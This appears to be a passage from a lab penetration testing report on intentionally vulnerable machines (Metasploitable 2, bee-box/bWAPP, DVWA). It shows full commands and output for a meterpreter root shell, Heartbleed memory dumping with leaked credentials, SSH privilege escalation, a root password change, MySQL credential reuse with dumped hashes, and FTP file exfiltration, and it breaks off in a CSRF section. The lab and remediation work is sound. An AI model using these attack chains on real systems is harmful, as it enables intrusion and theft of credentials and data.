[*] Started reverse TCP handler on 192.168.100.18:4444 
------ -------
meterpreter > getuid
Server username: root
meterpreter > shell
Process 4730 created.
Channel 1 created.
id
uid=0(root) gid=0(root)
whoami
root

4.3.4 Reporting: 
- The most susceptible virtual machine is found to be Metasploitable 2. 
- The machine's PostgreSQL is an outdated software version.
- Able to check to see if the computer is configured with a default account. It is successful.
- A meterpreter session was established in msfconsole using PostgreSQL payload.
- Using the current list process, we are able to identify that the computer's udev netlink is running a vulnerable version. We have then elevated privileges and gained admin access to the Metasploitable machine.

4.4 Conclusion:
Downloading PostgreSQL is free of cost; however, it needs to be maintained up to date, and the database needs to be cleared of all users who have the default, null, blank password set. Red Hat Linux 5 lacks the Udev netlink option, hence an upgrade is also required for the open-source Linux operating system.

It is advisable to use unique, complex passwords for every website and application. Password guessing attacks will be stopped by implementing a password management audit policy. Additionally, keeping up with latest operating system and good patch management can help pass audits like Cyber Essentials, which will help to get certified and win more commercial and Government contracts.




Package: OpenSSL, SSH
Database: MySQL
Attack Vector: Heartbleed, SSH Exploit
Vulnerable Machine: Bee-Box
Attacker Machine: Kali Machine, Windows 11
Access Level: Root Access
Cracked Accounts: SSH, MySQL, FTP, HTTPS
Framework: MITRE Att&CK

5. Introduction:
OpenSSL:  A software library called OpenSSL is used by applications to provide secure communications over computer networks, prevent eavesdropping, and identify the person on the other end. Internet servers, including most HTTPS websites, use it extensively. The Heartbleed Bug is an important flaw in the widely used OpenSSL cryptographic software library. Data that SSL/TLS encryption is designed to protect can now be stolen.

SSH: An unsecured network can be used to securely send commands to a computer via the Secure Shell (SSH) protocol, which allows two computers to communicate and share data. Cryptography is used by SSH to encrypt and authenticate device connections.
Kali Linux machine and Windows 11 machine are used to attack the victim machine, Bee-Box, called bWAPP, a buggy web application developed purposefully as unsafe web application. It is available as an open source, free download. Web vulnerability detection and prevention are made easier for developers, security enthusiasts, and students with the aid of bWAPP. One can successfully complete penetration testing and ethical hacking tasks by using bWAPP. [19]

5.1 MITRE Att&CK Framework:
MITRE ATT&CK® is an international knowledge base on adversary tactics and procedures compiled from real-world field observations. The government, private sector, and cybersecurity product and service business utilize the ATT&CK knowledge base as a foundation for developing specific threat models and tactics. [20]

5.2 Penetration Testing Tools: 
Ifconfig, NetScanTools Pro, Nbtstat, Online Website Services, Curl, Nmap, Heartbleed Python Script, msfconsole, SSH, mysql, vsftpd server, ftp.


5.3 MITRE Att&CK Framework Tactics & Techniques:
5.3 1. Reconnaissance – Network Topology, Gather Victim Network Information
5.3.2. Resource Development – Vulnerabilities, Obtaining Capabilities
5.3.3. Initial Access – Exploit Public Facing Application
5.3.4. Execution – Command and Scripting Interpreter
5.3.5. Persistence – Local Accounts (Web Application)
5.3.6. Privilege Escalation – Valid Accounts (SSH)
5.3.7. Defense Evasion – Domain Accounts (SSH)
5.3.8. Credential Access – Credential Stuffing (MySQL)
5.3.9. Discovery – Local Account – MySQL users
5.3.10. Lateral Movement – SSH 
5.3 11. Collection – Data from Local System
5.3 12. Command and Control – FTP 
5.3.13. Exfiltration – Scheduled Transfer
5.3 14. Impact – Stored Data Manipulation

5.3 MITRE Att&CK Framework:
5.3.1 Reconnaissance: 
Technique: Scanning IP Blocks, Network Topology, Gather Victim Network & Identity Information
Using these techniques, we are able to gather the below information during the first stage of the MITRE ATT&CK Framework Execution. Let us look into the details.
Curl Output:
Website: www.itsecgames.com
Vulnerable Web App – bWAPP on port 8443
Email Address: bwapp@itsecgames.com

As a first step, the host IP Address is identified in a lab network setup with all the hosts in one subnet.

└─$ ifconfig 
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.100.18  netmask 255.255.255.0  broadcast 192.168.100.255
        inet6 fe80::7815:ca4b:8c49:4715  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:16:b7:83  txqueuelen 1000  (Ethernet)

As we already know, the IP addresses of the attacker virtual machine are 192.168.100.18, a Kali Linux computer, and 192.168.100.10, a Windows workstation. Using NetScanTools Pro, we are able to determine the IP address of the victim machine as 192.168.100.21. IP Address Range Pinged: 192.168.100.1 to 192.168.100.255
	

	Target IP
	Hostname
	Time (ms)
	Status

	192.168.100.1
	?
	6
	0:0 Echo Reply

	192.168.100.2
	?
	6
	0:0 Echo Reply

	192.168.100.3
	?
	7
	0:0 Echo Reply

	192.168.100.18
	?
	7
	0:0 Echo Reply

	192.168.100.19
	windows-home.soac.local
	0
	0:0 Echo Reply

	192.168.100.21
	BEE-BOX
	0
	0:0 Echo Reply



As the interested host is identified, proceeding to launch port scan on victim machine – 192.168.100.21, and the host is identified to highly vulnerable based on the application and services that is running on the machine such as shell, vnc, rpc, smb, smtp, ftp, ssh, etc.
Target: 192.168.100.21
	

	IP Address
	Port
	Port Desc
	Protocol
	Results
	Data Received

	192.168.100.21
	21
	ftp
	TCP
	Port Active
	

	192.168.100.21
	22
	ssh
	TCP
	Port Active
	SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1

	192.168.100.21
	25
	smtp
	TCP
	Port Active
	220 bee-box ESMTP Postfix (Ubuntu)

	192.168.100.21
	80
	http
	TCP
	Port Active
	

	192.168.100.21
	139
	netbios-ssn
	TCP
	Port Active
	

	192.168.100.21
	443
	https
	TCP
	Port Active
	

	192.168.100.21
	445
	microsoft-ds
	TCP
	Port Active
	

	192.168.100.21
	513
	login
	TCP
	Port Active
	

	192.168.100.21
	514
	cmd
	TCP
	Port Active
	

	192.168.100.21
	3306
	-
	TCP
	Port Active
	

	192.168.100.21
	6001
	-
	TCP
	Port Active
	

	192.168.100.21
	8080
	-
	TCP
	Port Active
	

	192.168.100.21
	8443
	-
	TCP
	Port Active
	



The host has many web application ports. The vulnerable machine answered the Curl GET request on port 8443 with the bWAPP web application, among other ports 443, 8443, 8080, and so on. And the response can be used to determine the information below.

└─$ curl -kvL 'https://192.168.100.21:8443'
*   Trying 192.168.100.21:8443...
* Connected to 192.168.100.21 (192.168.100.21) port 8443
----- ------ ------ 
* Server certificate:
*  subject: C=BE; ST=Flanders; L=Menen; O=MME; OU=IT; CN=bee-box.bwapp.local; emailAddress=bwapp@itsecgames.com
*  start date: Apr 14 18:11:32 2013 GMT
*  expire date: Apr 13 18:11:32 2018 GMT
*  issuer: C=BE; ST=Flanders; L=Menen; O=MME; OU=IT; CN=bee-box.bwapp.local; emailAddress=bwapp@itsecgames.com
*  SSL certificate verify result: self-signed certificate (18), continuing anyway.
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 192.168.100.21:8443
> User-Agent: curl/8.4.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx/1.4.0
Output truncated
Curl Data Output:
Website: www.itsecgames.com
Vulnerable Web App – bWAPP on port 8443
Email Address: bwapp@itsecgames.com

C:\Users\sakth>nbtstat -A 192.168.100.21
Ethernet:
Node IpAddress: [192.168.100.19] Scope Id: []
       Name               Type         Status
    ---------------------------------------------
    BEE-BOX        <00> UNIQUE      Registered
    BEE-BOX        <03> UNIQUE      Registered
    BEE-BOX        <20> UNIQUE      Registered
   __MSBROWSE__☻<01> GROUP     Registered
    ITSECGAMES     <1D> UNIQUE      Registered
    ITSECGAMES     <1E> GROUP       Registered
    ITSECGAMES     <00> GROUP       Registered

    MAC Address = 00-00-00-00-00-00

5.3.2 Resource Development: 
Technique: Vulnerabilities, Obtaining Capabilities
Based on data acquired from the internet, the web application running on port 8443 is hosted by a virtual machine that is susceptible. The host's outdated openssl version is discovered by Nmap scan that is initiated on port 8443. To check if the host is still vulnerable to Heartbleed, a script scan is initiated, and the results of the nmap and python script scans are successful. Reference is given to the location of the downloadable python script in GitHub
 
└─$ nmap -sV -p 8443 192.168.100.21                                  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-05 12:57 EST
Nmap scan report for 192.168.100.21
Host is up (0.00038s latency).
PORT     STATE SERVICE VERSION
8443/tcp openssl/http nginx 1.4.0
Service detection performed. 
Nmap done: 1 IP address (1 host up) scanned in 12.63 seconds

└─$ nmap -sV -p 8443 --script ssl-heartbleed 192.168.100.21
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-05 12:34 EST
Nmap scan report for 192.168.100.21
Host is up (0.00034s latency).
PORT     STATE SERVICE VERSION
8443/tcp open  ssl/http nginx 1.4.0
| ssl-heartbleed: VULNERABLE:
|     State: VULNERABLE
|     Risk factor: High
|_http-server-header: nginx/1.4.0
Service detection performed. 
Nmap done: 1 IP address (1 host up) scanned in 12.47 seconds

└─$ python ./heartbleed3.py -p 8443 192.168.100.21
Connecting...
Sending Client Hello...
Waiting for Server Hello...
------- --------
Sending heartbeat request...
----- ------ -----
Received heartbeat response:
---------- ---------- ----
Output: WARNING: server returned more data than it should - server is vulnerable [21]

5.3.3 Initial Access:
Technique: Exploit Public Facing Application
The exploit is referenced to CVE-2014-0160. [22] A remote attacker may be able to obtain sensitive information, such as secret keys and user authentication passwords, by exploiting an OpenSSL vulnerability that results from poor memory handling in the TLS heartbeat extension. A flaw has been found in the way OpenSSL versions 1.0.1 through 1.0.1f implement the TLS/DTLS heartbeat capability. This vulnerability allows an attacker to take over an application that utilizes the vulnerable OpenSSL library and extract 64k blocks of private memory at a time. The auxiliary scanner module is used to execute the Heartbleed vulnerability. First, scan mode is selected to confirm that there is a memory leak of 36195 bytes and dump is collect valid findings about the victim and the application running on the machine. Here are the collected details from the dump, 
Email Address:bwapp@itsecgames.com
Username: bee
Password: bug

msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set rhost 192.168.100.21
rhost => 192.168.100.21
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set rport 8443
rport => 8443
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set action scan
action => scan
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > run
[+] 192.168.100.21:8443   - Heartbeat response with leak, 36195 bytes
[*] 192.168.100.21:8443   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set action dump
action => dump
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > run
[+] 192.168.100.21:8443   - Heartbeat response with leak, 36195 bytes
[+] 192.168.100.21:8443   - Heartbeat data stored in /root/.msf4/loot/20240105141635_default_192.168.100.21_openssl.heartble_558781.bin
[*] 192.168.100.21:8443   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
/root/.msf4/loot/20240105141657_default_192.168.100.21_openssl.heartble_424119.bin
[*] 192.168.100.21:8443   - Printable info leaked:
......e...1D...l..............`E.Z.)6...f.....".!.9.8.........5.............................3.2.....E.D...../...A.......................................ccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8..Accept-Language: en-US,en;q=0.5..Accept-Encoding: gzip, deflate, br.referrer: https://192.168.100.21:8443/bWAPP/login.php..Connection: keep-alive.Cookie: security_level=0; PHPSESSID=ccc55dcbee36c3676e3a726572580055.Upgrade-Insecure-Requests: 1.Sec-Fetch-Dest: document.Sec-Fetch-Mode: navigate.Sec-Fetch-Site: same-origin.Sec-Fetch-User:?1..../.O.J`.....5..3t: document.Sec-Fetch-Mode: navigate..Sec-Fetch-Site: same-origin.Sec-Fetch-User: ?1....login=bee&password=bug&security_level=0&form=submitI).........]

5.3.4 Execution: 
Technique: Command and Scripting Interpreter
Auxiliary Scanner Module references to CVE-1999-0502 which marks any UNIX account with default, null, blank, missing password. Set the username to bee and password to bug as per the heartbleed leak findings. Metasploit confirmed the combination of username and password applied is indeed the login credentials to do SSH access. A Command shell interpreter session is established to confirm the access level and user login details are correct. [16]
msf6 auxiliary(scanner/ssh/ssh_login) > set username bee
username => bee
msf6 auxiliary(scanner/ssh/ssh_login) > set password bug
password => bug
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.100.21
rhosts => 192.168.100.21
msf6 auxiliary(scanner/ssh/ssh_login) > set stop_on_success true
stop_on_success => true
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.100.21:22 - Starting bruteforce
[+] 192.168.100.21:22 - Success: 'bee:bug' 'uid=1000(bee) gid=1000(bee) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),125(sambashare),1000(bee) Linux bee-box 2.6.24-16-generic #1 SMP Thu Apr 10 13:23:42 UTC 2008 i686 GNU/Linux '
------- -------- -----
msf6 auxiliary(scanner/ssh/ssh_login) > show sessions
Active sessions
===============
  Id  Name  Type         Information  Connection
  --  ----  ----         -----------  ----------
  1         shell linux  SSH root @   192.168.100.18:37445 -> 192.168.100.21:22 (192.168.100.21)
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1...
whoami
bee
uname -a
Linux bee-box 2.6.24-16-generic #1 SMP Thu Apr 10 13:23:42 UTC 2008 i686 GNU/Linux
id
uid=1000(bee) gid=1000(bee) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),125(sambashare),1000(bee)
exit

5.3.5 Persistence
Technique: Local Accounts (Web Application)
It is confirmed if the login credentials for the indicated username, bee, and password, bug, may be used on the web application website. It was successful! Please confirm that the username and password combination for "bee" or "bug" is required to log in to the website on the vulnerable web application login page which is accessed using HTTPS protocol on port 8443
                                                                              
┌──(root㉿kali)-[/home/kali]
└─# curl -kvL "https://192.168.100.21:8443/bWAPP/login.php"      
*   Trying 192.168.100.21:8443...
* Connected to 192.168.100.21 (192.168.100.21) port 8443
> GET /bWAPP/login.php HTTP/1.1
> Host: 192.168.100.21:8443
> User-Agent: curl/8.4.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx/1.4.0
< Date: Sat, 06 Jan 2024 23:50:49 GMT
< Content-Type: text/html
< Content-Length: 4019
< Connection: keep-alive
< X-Powered-By: PHP/5.2.4-2ubuntu5
< Set-Cookie: PHPSESSID=f2f9caecbb2336e36cec47953d4816be; path=/---- ------
<html><head><title>bWAPP - Login</title></head>
<body><header><h1>bWAPP</h1>
<h2>an extremely buggy web app !</h2></header>
<div id="menu">  <tr>
            <td><font color="#ffb717">Login</font></td>
            <td><a href="user_new.php">New User</a></td>
            <td><a href="info.php">Info</a></td>
            <td><a href="training.php">Talks & Training</a></td>
            <td><a href="http://itsecgames.blogspot.com" target="_blank">Blog</a></td>
        </tr></div>
<div id="main"> <h1>Login</h1>
    <p>Enter your credentials (bee/bug).</p>
    <form action="/bWAPP/login.php" method="POST">
        <p><label for="login">Login:</label><br />
        <input type="text" id="login" name="login" size="20" autocomplete="off"></p> 
        <p><label for="password">Password:</label>
        <input type="password" id="password" name="password" size="20" autocomplete="off"></p>
        <button type="submit" name="form" value="submit">Login</button>
    </form>    </div></body>
* Connection #0 to host 192.168.100.21 left intact
</html>                                                                                                   

5.3.6 Privilege Escalation
Technique: Valid Accounts (SSH)
We are able to verify that the user account information problem is present on this web application susceptible machine. And an SSH login is used in an attempt to increase the privileges. And when we used the sudo su command, it worked, granting us root access to the machine. The root account password has been successfully altered to maintain the access level.
 └─$ ssh -oHostKeyAlgorithms=+ssh-dss bee@192.168.100.21
bee@192.168.100.21's password: 
----- ------ -----
bee@bee-box:~$ whoami
bee
bee@bee-box:~$ id
uid=1000(bee) gid=1000(bee) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),125(sambashare),1000(bee)
bee@bee-box:~$ sudo su
[sudo] password for bee: 
root@bee-box:/home/bee# whoami
root
root@bee-box:/home/bee# id
uid=0(root) gid=0(root) groups=0(root)
root@bee-box:/home/bee# passwd root
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
root@bee-box:/home/bee# exit
bee@bee-box:~$ exit
logout
Connection to 192.168.100.21 closed.

5.3.7 Defense Evasion
Technique: Domain Accounts (SSH)
Now that SSH access is configured with root access, we can log in to the host remotely with enhanced rights. Able to confirm this as well.
└─$ ssh -oHostKeyAlgorithms=+ssh-dss root@192.168.100.21
root@192.168.100.21's password: 
---- ------ -----
root@bee-box:~# whoami
root
root@bee-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@bee-box:~# 
root@bee-box:~# exit
logout
Connection to 192.168.100.21 closed.

5.3.8 Credential Access: 
Technique: Credential stuffing
A credential stuffing attack using the compromised username and password combinations from the previous efforts is carried out in order to confirm whether the access permissions prevail with the MySQL database to improve the remote access capabilities. Root access to the MySQL database is obtained.
Username: bee, No Password applied
mysql -h 192.168.100.21 -u bee 
ERROR 1045 (28000): Access denied for user 'bee'@'192.168.100.18' (using password: NO) 
Username: bee, Password: bug
mysql -h 192.168.100.21 -u bee -p
Enter password: 
ERROR 1045 (28000): Access denied for user 'bee'@'192.168.100.18' (using password: YES)                                                                 
Username: root, No Password applied
 mysql -h 192.168.100.21 -u root  
ERROR 1045 (28000): Access denied for user 'root'@'192.168.100.18' (using password: NO)
Username: root, Password: password
 mysql -h 192.168.100.21 -u root -p
Enter password: 
ERROR 1045 (28000): Access denied for user 'root'@'192.168.100.18' (using password: YES) 
Username: root, Password: bug
└─$ mysql -h 192.168.100.21 -u root -p
Enter password: 
Server version: 5.0.96-0ubuntu3 (Ubuntu)
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| bWAPP              |
| drupageddon        |
| mysql              |
+--------------------+
4 rows in set (0.001 sec)

5.3.9 Discovery: 
Technique: Local Account (MySQL users) 
After obtaining additional data, including MySQL databases and tables, we are able to access the user accounts for MySQL. Bee is identified as the username in the user list.
MySQL [(none)]> use bWAPP;
--- ----
Database changed
MySQL [bWAPP]> show tables;
+-----------------+
| Tables_in_bWAPP |
+-----------------+
| blog            |
| heroes          |
| movies          |
| users           |
| visitors        |
+-----------------+
5 rows in set (0.001 sec)
MySQL [bWAPP]> 
MySQL [bWAPP]> select * from users;
+----+-------------+------------------------------------------+--------------------------+-------------------------------------+-----------------+-----------+------
| id | login       | password                                 | email                    | secret                              | activation_code | activated | reset_code | admin |
+----+-------------+------------------------------------------+--------------------------+-------------------------------------+-----------------+-----------+------
| 1 | A.I.M.      | 6885858486f31043e5839c735d99457f045affd0 | bwapp-aim@mailinator.com | A.I.M.| NULL     |         1 | NULL      |     1 |
| 2 | bee         | 6885858486f31043e5839c735d99457f045affd0 | bwapp-bee@mailinator.com | any bugs?   | NULL |    1 | NULL    |     1 |
|  3 | ksakthii001 | 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 | ksakthii001@gmail.com    | dog               | NULL  |    1 | NULL       |     0 |
+----+-------------+------------------------------------------+--------------------------+-------------------------------------+-----------------+-----------+------
3 rows in set (0.001 sec)
MySQL [bWAPP]> 
MySQL [bWAPP]> exit
Bye

5.3.10 Lateral Movement
Technique: SSH
SSH remote session is established to review the file system under username bee
┌──(kali㉿kali)-[~]
└─$ ssh -oHostKeyAlgorithms=+ssh-dss bee@192.168.100.21  
bee@192.168.100.21's password: 
---- ----- ----
bee@bee-box:~$ cd Examples
bee@bee-box:~/Examples$ pwd
/home/bee/Examples
bee@bee-box:~/Examples$ ls
case_Contact.pdf                case_Wellcome.pdf         oo-derivatives.doc
case_howard_county_library.pdf  Experience ubuntu.ogg     oo-maxwell.odt
case_KRUU.pdf                   fables_01_01_aesop.spx    oo-payment-schedule.ods
case_OaklandUniversity.pdf      gimp-ubuntu-splash.xcf    oo-presenting-kubuntu.odp
case_oxford_archaeology.pdf     kubuntu-leaflet.png       oo-presenting-ubuntu.odp
case_Skegness.pdf               logos                     oo-trig.xls
case_ubuntu_johnhopkins_v2.pdf  oo-about-these-files.odt  oo-welcome.odt
case_ubuntu_locatrix_v1.pdf     oo-about-ubuntu-ru.rtf    ubuntu Sax.ogg
bee@bee-box:~/Examples$ 

5.3.11 Collection:
Technique: Data from Local System
A few intriguing scripts are located in the Documents/Scripts folder and have been transferred to the FTP folder so that they can be downloaded.
bee@bee-box:~$ cd Documents
bee@bee-box:~/Documents$ ls
Downloads Scripts
bee@bee-box:~/Documents$ ls Scripts
bWAPP_update_script.sh clear_history.sh netcat.sh nmap.sh    tcpdump.sh
bWAPP_update.sh         curl.sh           nikto.sh   python.sh
bee@bee-box:~/Documents$ pwd 
/home/bee/Documents
bee@bee-box:~/Documents$ sudo cp Scripts/clear_history.sh /home/bee/Examples/
bee@bee-box:~/Documents$ 


5.3.12 Command and Control: 
Technique: FTP
The username, bee, and password combination, bug, allowed the FTP session to function. Capable of examining the accessible file system during an SSH session
┌──(kali㉿kali)-[~]
└─$ ftp 192.168.100.21
Connected to 192.168.100.21.
220 ProFTPD 1.3.1 Server (bee-box) [192.168.100.21]
---- -----
230 User bee logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
drwxr-xr-x   2 bee      bee          4096 Nov  2  2014 Desktop
drwxr-xr-x   4 bee      bee          4096 Dec 15  2013 Documents
lrwxrwxrwx   1 bee      bee            26 Mar 28  2013 Examples -> /usr/share/example-content
drwxr-xr-x   2 bee      bee          4096 Mar 28  2013 Music
drwxr-xr-x   2 bee      bee          4096 Sep 12  2013 Pictures
drwxr-xr-x   2 bee      bee          4096 Mar 28  2013 Public
drwxr-xr-x   2 bee      bee          4096 Mar 28  2013 Templates
drwxr-xr-x   2 bee      bee          4096 Mar 28  2013 Videos
226 Transfer complete
ftp> pwd
Remote directory: /home/bee
ftp>

5.3.13 Exfiltration: 
Technique: Scheduled Transfer
Files from the vulnerable remote system are sent to the local FTP directory using the "mget" command. The Kali computer receives the downloaded files.
┌──(root㉿kali)-[/home/kali]
└─# ls          
Desktop  Documents  Downloads  heartbleed3.py  Music  Pictures  Public  Templates  Videos
ftp> pwd
Remote directory: /usr/share/example-content
ftp> 
ftp> ls
-rw-r--r--   1 root     root      3576296 Apr 10  2008 Experience ubuntu.ogg
-rw-r--r--   1 root     root       184905 Apr 10  2008 case_Contact.pdf
-rw-r--r--   1 root     root       363503 Apr 10  2008 case_KRUU.pdf
-rw-r--r--   1 root     root        57270 Apr 10  2008 case_OaklandUniversity.pdf
-rw-r--r--   1 root     root       133005 Apr 10  2008 case_Skegness.pdf
-rw-r--r--   1 root     root       292954 Apr 10  2008 case_Wellcome.pdf
-rwxr-xr-x   1 root     root          130 Jan  7 00:32 clear_history.sh
-rw-r--r--   1 root     root       229674 Apr 10  2008 fables_01_01_aesop.spx
-rw-r--r--   1 root     root       840814 Apr 10  2008 gimp-ubuntu-splash.xcf
-rw-r--r--   1 root     root      1206099 Apr 10  2008 kubuntu-leaflet.png
drwxr-xr-x   2 root     root         4096 Apr 22  2008 logos
-rw-r--r--   1 root     root       126991 Apr 10  2008 oo-about-these-files.odt
-rw-r--r--   1 root     root        27835 Apr 10  2008 oo-about-ubuntu-ru.rtf
-rw-r--r--   1 root     root       159744 Apr 10  2008 oo-derivatives.doc
-rw-r--r--   1 root     root        27837 Apr 10  2008 oo-maxwell.odt
-rw-r--r--   1 root     root        76635 Apr 10  2008 oo-payment-schedule.ods
-rw-r--r--   1 root     root      1797271 Apr 10  2008 oo-presenting-kubuntu.odp
-rw-r--r--   1 root     root       501054 Apr 10  2008 oo-presenting-ubuntu.odp
-rw-r--r--   1 root     root        98816 Apr 10  2008 oo-trig.xls
-rw-r--r--   1 root     root       453764 Apr 10  2008 oo-welcome.odt
-rw-r--r--   1 root     root       358374 Apr 10  2008 ubuntu Sax.ogg
226 Transfer complete
ftp> mget case_Wellcome.pdf
mget case_Wellcome.pdf [anpqy?]? Y
---- ------- ----
100% |************************************************************|   286 KiB   76.98 MiB/s    00:00 ETA
226 Transfer complete
292954 bytes received in 00:00 (6.85 MiB/s)
ftp>
┌──(root㉿kali)-[/home/kali]
└─# ls
case_Wellcome.pdf  Documents  heartbleed3.py  Pictures  Templates
Desktop            Downloads  Music           Public    Videos

5.3.14 Impact
Technique: Stored Data Manipulation
The files to be downloaded are obtained over the FTP site, following the instructions above, and any files that appear to contain susceptible scripts are removed using SSH rot access.  These scripts are assessed and found to be vulnerable to intrusions. 


5.4 Conclusion
Credential Stuffing, dictionary, and brute-forcing attacks is possible when various applications are set up with default passwords, easy to guess, common passwords shared across them.  

The source of this penetration testing is a Heartbleed leak. This is because the machine is still using an outdated, unpatched version of OpenSSL. These are open-source Linux packages and is available for free download. These attacks are difficult to carry out when the system is patched and updated on schedule.

It is advisable to use unique, complex passwords for every website and application. Password guessing attacks will be stopped by implementing a password management audit policy. Again, keeping up with patch management every 15 days can help pass audits like Cyber Essentials, which will help to get certified and win more commercial and Government contracts.














Attack Vector: CSRF
Vulnerable Machine: DVWA
Attacker Machine: Kali Machine
Severity Level: High
Access Level: Root Success
Cracked Account: DVWA Login Account
Framework: OWASP

6. Introduction: 
Cross-Site Request Forgery (CSRF): This internet security vulnerability allows an attacker to deceive users into performing actions they do not want them to. An attacker can partially get around the same origin policy, which tries to prevent different websites from interacting with each other.
When a cross-site request forgery (CSRF) attack is successful, the impacted user inadvertently performs an action. This can entail transferring money, altering the password, or altering the email address linked to the account. Depending on the action, the attacker might be able to seize total control of the user's account. Should the impacted user occupy a privileged role inside the application, the attacker may be able to obtain total control over all of the program's data and features. [23]

6.1 OWASP Penetration Testing Framework: 
The Damn Vulnerable Web Application (DVWA) [24]  is a PHP/MySQL web application that is very vulnerable to attacks.  Its main goals are to support security professionals in testing their expertise and resources in a legal setting, help web developers better understand the steps involved in securing web applications, and help educators and students learn about web application security in a safe learning environment. DVWA is installed on the host Kali Machine (10.0.2.15). Burpsuite is used to examine the vulnerability and the target.

The OWASP Framework includes tests and methods like as penetration testing, threat modeling, code review, vulnerability scanning, and security requirement testing. The Penetration Testing Framework provides a comprehensive guidebook on conducting realistic penetration testing (PTF). It also offers a list of the security testing tools' applications for each testing category.  [25]

6.2 OWASP Penetration Testing Framework - Stages:
6.2.1 Network Foot Printing (Reconnaissance)
6.2.2 Discovery & probing
6.2.3 Enumeration
6.2.4 Password Cracking
6.2.5 Vulnerability Assessment
6.2.6 Final Report

Penetration Testing Tools: 
Ifconfig, NetDiscover, Netstat, Curl, Burp suite – Site Map, Repeater, Intercept



6.2 OWASP Penetration Testing Framework - Stages:
6.2.1 Network Foot Printing (Reconnaissance)
The Kali Linux machine's Apache and MySQL services are enabled by setting the damn vulnerable web application to run locally on the machine. The Netstat command shows the names of both of the machine's services. BurpSuite is configured on port 8080.
┌──(root㉿kali)-[~]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
        inet6 fe80::ee47:8adb:d07d:2981  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:cb:7e:f5  txqueuelen 1000  (Ethernet)
------ ------ ------ 
lo: flags=73<UP, LOOPBACK, RUNNING> mtu 65536
        inet 127.0.0.1 netmask 255.0.0.
 ------ ------ ------ 
┌──(root㉿kali)-[~]
└─# netstat -tulpn | grep LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      2207/mariadbd       
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      2028/apache2        
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      3478/java           
tcp6       0      0 127.0.0.1:33487         :::*                    LISTEN      3478/java           

6.2.2 Discovery & probing
Tool – BurpSuite Sitemap/Scanner, Curl
Burpsuite is configured with a target of 127.0.0.1 on port 80 because it is possible that an Apache Service is being used by a web application. Additionally, BurpSuite Site Map crawls to find Damn Vulnerable Web Applications, or DVWAs. The gathered information is displayed below.

HTTP Request 
GET /DVWA/index.php HTTP/1.1
Host: 127.0.0.1
HTTP Response
HTTP/1.1 200 OK
Date: Sun, 07 Jan 2024 12:43:17 GMT
Server: Apache/2.4.57 (Debian)
<html lang="en-GB">
<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Welcome - Damn Vulnerable Web Application (DVWA) </title>
<link rel="stylesheet" type="text/css" href="dvwa/css/main.css" />
<link rel="icon" type="\image/ico" href="favicon.ico" />
<script type="text/javascript" src="dvwa/js/dvwaPage.js"></script>
</head>
body is truncated
<html>

Using the curl tool to perform an HTTP GET Request on the crawled web page results in an HTTP Re-direct and an HTTP Response from the website login page.
┌──(root㉿kali)-[~]
└─# curl -kvL 'http://127.0.0.1/DVWA/index.php' -- HTTP Request 
*   Trying 127.0.0.1:80...
> GET /DVWA/index.php HTTP/1.1
> Host: 127.0.0.1
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 302 Found - HTTP Re-direction
< Date: Sun, 07 Jan 2024 12:28:51 GMT
< Server: Apache/2.4.57 (Debian)
< Set-Cookie: security=impossible; path=/; HttpOnly
< Set-Cookie: PHPSESSID=q83qnbb1ocf083jgb4s9ojl69c; expires=Mon, 08 Jan 2024 12:28:51 GMT; Max-Age=86400; path=/; HttpOnly; SameSite=1
------ ------ ----- 
> GET /DVWA/login.php HTTP/1.1
> Host: 127.0.0.1
> User-Agent: curl/7.88.1

< HTTP/1.1 200 OK - HTTP Response
< Date: Sun, 07 Jan 2024 12:28:52 GMT
< Server: Apache/2.4.57 (Debian)
< Set-Cookie: security=impossible; path=/; HttpOnly
< Set-Cookie: PHPSESSID=ei4jsk1dnu2r6uial2fkhf3gha; expires=Mon, 08 Jan 2024 12:28:52 GMT; Max-Age=86400; path=/; HttpOnly; SameSite=1
<html lang="en-GB">
 <head>  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
                <title>Login - Damn Vulnerable Web Application (DVWA) </title>
                <link rel="stylesheet" type="text/css" href="dvwa/css/login.css" />
</head> <body> <form action="login.php" method="post"><fieldset>
 <label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username">
